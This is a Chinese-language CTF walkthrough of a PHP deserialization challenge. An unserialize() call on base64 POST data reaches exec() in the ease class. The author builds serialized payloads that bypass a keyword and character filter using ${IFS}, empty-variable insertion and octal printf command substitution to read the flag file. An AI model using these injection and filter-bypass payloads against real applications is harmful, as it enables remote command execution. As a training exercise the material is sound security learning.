前言:
又是一周,多的不说,直接开干
正文部分:
1.在线获取场景后,发现一段PHP代码,分析代码
<?php
//显示源代码
highlight_file(__FILE__);
定义一个easy类
class ease{
private $method;
private $args;
//PHP 构造函数,主要用来在创建对象时初始化对象, 即为对象成员变量赋初始值,在创建对象的语句中与 new 运算符一起使用。
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
//析构函数 析构函数(destructor) 与构造函数相反,当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。
//通俗的说就是当对象结束时触发该函数
function __destruct(){
//如果传入的数组中第一个参数method为ping,则执行下面的函数
if (in_array($this->method, array("ping"))) {
//call_user_func_array:把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入;比如call_user_func_array("ping","127.0.0.1") 执行命令 ping 127.0.0.1
call_user_func_array(array($this, $this->method), $this->args);
}
}
//执行传入的参数
function ping($ip){
exec($ip, $result);
//返回结果的值和类型
var_dump($result);
}
//过滤函数,过滤了很多特殊符号,关键词等
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
//规定:__wakeup(),执行unserialize()时,先会调用这个函数
function __wakeup(){
//遍历传入的数组
foreach($this->args as $k => $v) {
//查看将传入的数组值放入waf函数中进行过滤
$this->args[$k] = $this->waf($v);
}
}
}
//传入一个post参数
$ctf=@$_POST['ctf'];
//先进行base64解码然后在进行反序列化
@unserialize(base64_decode($ctf));
?>
代码总结:
post传入参数ctf,且使用base64解码后反序列化传入。unserialize()函数用于将serialize()函数序列化后的数组或对象进行反序列化,并返回原始的对象结构
ease类中,定义了两个私有变量和五个方法:
construct()为析构函数,定义类的初始化
destruct()为析构函数,对象销毁前使用
ping():exec()执行命令函数,var_dump()输出结果
waf():preg_match_all()函数用于执行一个全局正则表达式匹配,可以用于搜索字符串中所有可以和正则表达式匹配的结果。源码中对“ 、&、;、空格、/、cat、flag、tac、php、ls”进行匹配, 若匹配到的结果为false就返回str。
wakeup()函数:使用foreach遍历字符串检测waf。执行unserialize()时,先会调用这个函数。
2.编写PHP代码
<?php
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$a = new ease("ping",array('pwd'));
$b = serialize($a);
echo $b;
echo "<br>";
echo "<br>";
echo base64_encode($b);
?>
传入参数
pwd成功执行
想执行ls,看看flag在哪里,但是ls被过滤了
3.绕过正则
1.ls绕过方法有:空的环境变量,单引号,双引号
2. 空格使用${IFS}来代替
这里使用空的环境变量绕过
$a = new ease("ping",array('l${Z}s'));
输出结果为:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo2OiJsJHtafXMiO319
传入参数:
查到了flag_1s_here文件
想要执行 ls flag_1s_here,但是flag和空格被过滤了,进行绕过
构造payload:
$a = new ease("ping",array('l${Z}s${IFS}f${Z}lag_1${Z}s_here'));
输出结果:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozMjoibCR7Wn1zJHtJRlN9ZiR7Wn1sYWdfMSR7Wn1zX2hlcmUiO319
传入参数:
发现flag_831b69012c67b35f.php文件
但是要怎么用呢?
先访问:http://61.147.171.105:58411/flag_1s_here/flag_831b69012c67b35f.php
但是并没有什么用,cat命令也用不了
最后看其他大佬的博客,可以使用unicode编码的方法
此处上大佬的代码:
#include<stdio.h>
int main()
{
char site[] = "cat flag_ls_here/flag_831b69012c67b35f.php";
for (int i = 0; i < sizeof site / sizeof site[0]; i++)
{
printf("\\%o", site[i]);
}
return 0;
}
输出结果:
构造payload(此处用的大佬的payload,自己构造的用不了,不知道为撒):
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
输出结果为:
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319
传入参数:
获得flag
总结:
学了蛮久,做题还是很费解,尤其是最近做的题都需要使用到编程。
没办法,只能恶补代码
还是那句话:慢慢来吧!